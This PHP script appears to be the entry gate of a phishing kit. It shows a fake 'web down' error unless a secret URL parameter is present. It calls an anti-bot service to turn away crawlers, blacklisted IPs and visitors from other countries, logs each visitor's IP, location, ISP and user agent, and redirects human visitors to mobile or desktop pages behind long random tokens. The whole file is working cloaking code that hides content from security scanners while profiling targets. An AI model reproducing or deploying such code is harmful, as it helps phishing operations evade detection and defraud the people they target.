<?php
require_once __DIR__ . '/helper/function.php';

$ip = $_SERVER['REMOTE_ADDR'];
$userAgent = $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown';

if (!array_key_exists($config['parameter'], $_GET)) {
    http_response_code(500);
    include __DIR__ . '/helper/webdown.php';
    exit;
}

if (empty($_SESSION['gobot_result']) || empty($_SESSION['ipData'])) {

    $result = gobotblocker($ip, $userAgent, $config['parameter']);

    $ipData = [
        'ip'        => $result['ip'] ?? $ip,
        'city'      => $result['location']['city'] ?? 'Unknown',
        'region'    => $result['location']['region'] ?? 'Unknown',
        'country'   => $result['location']['country'] ?? 'Unknown',
        'flag'      => $result['location']['flag'] ?? 'Unknown',
        'isp'      => $result['location']['isp'] ?? 'Unknown',
        'userAgent' => $result['useragent'] ?? $userAgent
    ];

    $_SESSION['gobot_result'] = $result;
    $_SESSION['ipData'] = $ipData;
    
    if ($config['lock_country_status'] == 'on')
    {
        if ($ipData['country'] !== $config['lock_country'])
        {
            saveIp($deniedIpsFile, $ip);
            saveIpData($ipData, 'Not Allow Country');
            http_response_code(500);
            include 'helper/webdown.php';
            exit;
        }
    }

} else {
    $result = $_SESSION['gobot_result'];
    $ipData = $_SESSION['ipData'];
}

if($result['reason'] === 'IP record found in internal blacklist database' || $result['threat'] === 'Blacklisted')
{
    http_response_code(500);
    include 'helper/webdown.php';
    exit;
}

if ($result['is_bot']) {
    saveIp($deniedIpsFile, $ip);
    saveIpData($ipData, $result['reason'] ?? $result['threat']);
    http_response_code(500);
    include 'helper/webdown.php';
    exit;
}

function isMobileDevice() {
    $userAgent = $_SERVER['HTTP_USER_AGENT'];
    $mobileDevices = array(
        'Android', 'iPhone', 'iPad', 'iPod', 'BlackBerry', 'Opera Mini', 'IEMobile', 'Mobile'
    );

    foreach ($mobileDevices as $device) {
        if (stripos($userAgent, $device) !== false) {
            return true;
        }
    }
    return false;
}

if (isMobileDevice()) {
    saveIp($acceptedIpsFile, $ip);
    saveIpData($ipData, 'Human Visitor');
    header("Location: mobile?auth_max_open=0&ref=".generateRandomString(100));
    ob_flush();
    exit;
} else {
    saveIp($acceptedIpsFile, $ip);
    saveIpData($ipData, 'Human Visitor');
    header("Location: desktop?auth_max_open=0&ref=".generateRandomString(100));
    ob_flush();
    exit;
}